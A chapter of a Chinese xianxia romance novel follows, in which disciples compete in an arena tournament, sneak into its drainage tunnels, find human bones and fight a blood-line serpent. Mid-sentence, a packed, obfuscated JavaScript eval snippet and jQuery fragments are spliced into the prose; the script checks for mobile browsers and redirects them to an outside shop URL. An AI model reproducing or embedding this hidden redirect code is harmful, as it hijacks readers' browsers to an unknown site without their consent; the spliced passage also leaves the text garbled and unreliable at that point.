云如晦回到斗兽场时,参赛者已经开始入场。
看台上已密密麻麻坐满,妖修们三三两两聚在一起,议论的焦点还是雀妖少主被杀之事。负责赛事登记的妖族执事站在入口处逐一核对玉牌,脸上堆着体面的笑,盘问却比平时多转了好几轮。
甲组第一场安排在巳时,傅遇抽到的对手是一个膀大腰圆的虎妖,体格比傅遇大上一圈,浑身皮毛油亮,站在擂台上像座小山。傅遇倒吸一口冷气,不由退了半步,最后被姜柔在背后推了一把才踉跄着走上去。
“别丢人。”姜柔压着声音叮嘱。
傅遇回头露出一个比哭还难看的笑:“师姐,我要是被打死了,记得给我多多烧纸钱,我花销大。”
云如晦站在台下抱臂看着,嘴角噙了一丝笑。她倒不担心傅遇输。
灵保长老虽然平日里对傅遇百般捧着,但该修炼该严苛的都没落下,不像她那个只见了一面的师尊。是以傅遇底子不差,再者,他那一身法宝,砸也能给对手砸死。
一开打,傅遇就率先甩出护阵符纸。那虎妖也是个莽货,打算一击了结小小鱼妖,一掌足足用上十分力。
“咔嚓”
“噗通”
一丝细纹在护阵法印蔓延,片刻,终于不堪重负地碎了。
所幸,虎妖也被反震,在擂台上滚了两圈。
傅遇抓住时机,从袖中抖出一团烟雾,橘黄色的粉末瞬间爆开,呛得虎妖连打三个喷嚏,四蹄乱刨。等烟散尽,傅遇已经近身,一柄短匕抵在他喉颈处。
“承让了,小虎子。”傅遇笑得一脸欠揍。
第一场比试结束得如此无厘头又理所当然。台下哗然,哄笑声骂声团成一团,傅遇不以为耻反以为荣,小人得志地朝四面拱手:“小小计策,不足挂齿。”
姜柔捂着额头直叹气:“我现在说我不认识他还来得及吗?”
云如晦看乐了,花蝴蝶打架不行,耍诈的本事尚可啊。
傅遇嘚嘚瑟瑟下了台,迎面看见姜柔一张无奈的脸和云如晦竖起的大拇指,立刻挺起胸膛:“怎么样?小爷这手漂不漂亮?”
“漂亮,比我预想的撑得久。”云如晦毫不吝啬地夸了一句。
傅遇还没来得及再嘚瑟几句,目光忽然越过她们肩头,脸上的笑僵了一下。
云如晦顺着他的视线转过头,就看见宋照雪从通道另一端走来,一身藏蓝长袍,袖口束得利落,腰间悬着一柄不起眼的墨色长剑。眉眼做不得伪装,冷艳出挑,与那张平庸的脸有些违和。眼里没什么情绪,只在云如晦身上掠过时眸色深些。
“这人怎么也来了?”傅遇声响立刻小了,嘟囔:“他不是单独行动吗?”
“今天之后就不是了。”云如晦朝宋照雪挥手。
傅遇的眼睛瞪得铜铃大:“他同意了?”
“你有意见?”宋照雪恰好走到近前,语气平淡。
他不动声色停在靠近云如晦的一侧,克制地晃了晃左手的银链,随即转向姜柔和傅遇,“乙组和丙组都在午后。在此之前,我有件事需要你们帮忙。”
傅遇条件反射地往后退了半步,姜柔倒是迎上前一步:“大师兄请说。”
“城主府封锁了斗兽场地下通道的出入口,我需要有人从前门吸引守卫的注意,让我从后侧的排水口进去查看。”宋照雪说着,从袖中取出一枚巴掌大小的铜镜,“如果有人问起,就说你们在斗兽场东侧看台上捡到了这面镜子,是城主的失物,要当面归还。”
姜柔接过铜镜翻看了一遍,镜背刻着城主府的纹章,并无伪造之痕。
“这镜子哪儿来的?”姜柔问。
“昨晚在斗兽场外捡的。”宋照雪脸不红气不喘。
云如晦看了他一眼,没拆穿。昨晚两人一同在斗兽场外时,她可没见他捡过任何东西。八成是又动用玲珑阁的关系弄来的。这人在这妖界布下的暗桩势力,比她想象中还要多。
几人商定好,分头行动。
姜柔和傅遇拿着铜镜往斗兽场正门去,姜柔在路上已盘算好怎么演这一出“拾金不昧”的戏码,傅遇则在旁边出馊主意要加一场“差点被扒手偷走”的追逐戏,被姜柔毫不留情地驳回。
宋照雪转向斗兽场西侧的排水口方向,走了两步,察觉身后有人跟着。回过头,云如晦正不紧不慢地走在他身后三步的距离,表情坦然,压根没想藏。
“我也参赛,我也查案。咱们是组队。”不等他问,云如晦理直气壮重复他先前的话,“再说了,你一个人下去,你连个放风的人都没有。”
宋照雪对此似乎早有预料,一句劝说也无,给她施了个藏匿气息的术法就带着她向前迈去:“别出声。”
排水口的铁栅栏被撬开了两指宽的缝,两人侧身挤进去,里面是一条倾斜向下的甬道,壁面潮湿,长满了青黑色的苔藓,空气中弥漫着一股淡淡的腥咸气息。
宋照雪在前,云如晦在后,两人无声沿着甬道向下走了约莫一刻钟,坡度渐缓,通道变宽,最终汇入一处约莫三丈见方的砖砌空间。
这里应该是斗兽场地下排水系统的枢纽,左右各延伸出三条岔道,墙角的污水积了半尺深,浑浊的水面上浮着几片枯叶和碎骨。
云如晦的目光扫过水面,很快发现几片碎骨,骨头的切面平整光滑,像是被什么细薄锐利的东西削下来的。
宋照雪也看见了。他蹲下身,用一根细长的银针挑了一片骨头起来,对着高处通风口漏进来的光看了片刻,眉头微蹙:“是人骨。”
云如晦心头一紧。两人同时抬头看向那三条岔道口。其中一条岔道深处,隐约有什么东西在黑暗中缓慢蠕动。那声响极轻极细,像鳞片擦过石壁时发出的沙沙声。
宋照雪将银针收回袖中,缓缓站起身,手已经按在了剑柄上。
两人对视一眼,没有开口,却同时往那条岔道靠了过去。
岔道越走越窄,两壁的苔藓越来越厚,空气中那股腥咸的气息也越来越重。前方五丈处,一道黑影贴着洞顶缓缓移动,隐约能看见鳞片反射出的暗光。
是一条约莫两丈长的血线蛟。它的身躯盘在洞顶的石缝间,头颅低垂,一双红色竖瞳正不偏不倚地对着他们来时的方向。
血线蛟的喉部微微鼓起,像是蓄力吞吐着什么。
云如晦骤然伸手,一把扣住宋照雪的手腕,后撤数步。几乎在同一瞬间,那蛟张口喷出一道墨绿色的粘液,正打在方才宋照雪所站之处,石板被腐蚀,冒出“滋滋”的白烟。
宋照雪拔剑出鞘,雪亮的剑光在狭窄的甬道中一闪而没,剑锋斩过那蛟回缩的身躯,带下一片鳞甲。血线蛟吃痛嘶鸣,退入更深的黑暗中,只留下一道蜿蜒的血迹。
宋照雪没有追,他收剑回鞘,低头看向云如晦被飞溅粘液腐蚀的锦鞋。
“伤到没?”他蹲下,摸上云如晦的脚,声音有些干。
分明隔着衣料,云如晦却觉得实在膈应,奈何脚腕被宋照雪握住,动弹不得。她无奈,不以为意地戳了戳宋照雪的发冠,玩笑道:“无妨,若真伤到,我早就哭着让大师兄你背啦。”
她说着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877121|209495||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,朝那条血线蛟消失的方向看了一眼:“它跑了。”
“跑不远。”宋照雪起身,从袖中取出那卷兽皮地图,摊开后在甬道布局图上点了点,“这条岔道尽头连着后山的废弃兽栏。它刚才伤得不轻,应该躲回巢穴里去了。”
云如晦盯着他收起地图,忽然问:“大师兄,你方才拔剑那一式,不是天衍门剑法。”
宋照雪的动作顿了一瞬。他侧过头,昏暗中看不清神情,但云如晦能感觉到他的目光,带着一种审视与坦然。
他沉吟片刻,没头没尾地来了一句:“你以后的道侣,有福气。”
“嗯?”他声音太小,又或许是太过偏题,云如晦没有听清。
“没什么,夸你聪慧,明察秋毫。”
“哼,那是自然。你方才的剑势太狠,正道修士讲究留三分余地,你这一次没有。”云如晦骄傲抱臂。
“是杀了很多东西才能练出来的。”她这句终究没说出口,毕竟她一开始就知晓宋照雪并非外界传言的端方君子。
宋照雪没有否认,也没有再往下解释。他将地图收好,弯腰凑近,近到她能看见他眼底那一点幽沉的光:“小师妹的眼力,一向很好。”
一块点心轻轻放在桌面上。两人都知道里面的馅是什么样,只是暂时没人伸手去掰开。
云如晦迎着他的目光眨了下眼,侧身朝来路退:“走吧,再不走城主府的人该把排水口也封了。”
宋照雪拉住她,背过身再次蹲下,意思不言而喻。
云如晦佯装不懂:“大师兄,这是?”
“没受伤,也可以背。”
“救命恩人的礼遇?”云如晦不肯轻易放过他。
“小师妹的特权。”宋照雪认命。
云如晦满意了,蹦跳到宋照雪背上。宋照雪纹丝不动,有力的手臂捞住云如晦腿弯处,稳稳起身。
云如晦趴在他肩头,小腿得意地晃来晃去,美滋滋:“我没受伤。”
“嗯。”
云如晦又不满意了,偷偷朝他腰间软肉掐去。
“我要下去。”
“别闹。”
“我自己走。”云如晦又掐了一把。
宋照雪知道她想听什么,向上托了一把,紧紧搂住,妥协道:“我想背,求你了。”
云如晦消停了。
从铁栅栏的缝隙里翻出来时,午后的阳光正照在斗兽场外的石板地上,将两人的影子拉得细长。
宋照雪将云如晦背到自己提前定的包厢。
“可有更换的衣物?”
“有的。”
“你先换。”宋照雪给自己施了个清净诀,便守在门口。
待两人收拾好,远处传来比武大会擂台上铜锣敲响的声音,乙组的比试即将开始。
云如晦朝擂台方向走去。没几步,听见身后宋照雪的声音传来:“下午我抽签的时候,会避开你。”
她没回头,抬起手懒洋洋地摆了摆。
她已经不再为他的“神通”惊讶,这世道,没点手段可做不了男主角。
太阳明晃晃地挂在头顶,斗兽场看台处人声鼎沸,新一轮比试的铜锣声刚落,第一对参赛者已经跃上擂台。
云如晦站在参赛区的阴影里,仔细观察台下攒动的人群。
果然来了。斗兽场东侧看台最高一排的角落,一个身影背光坐着,袖口隐约露出一枚暗沉的蛇纹铜环,半遮半掩。
是回味自己的杰作,还是要继续出手?
无论如何,今夜又不会太安静了。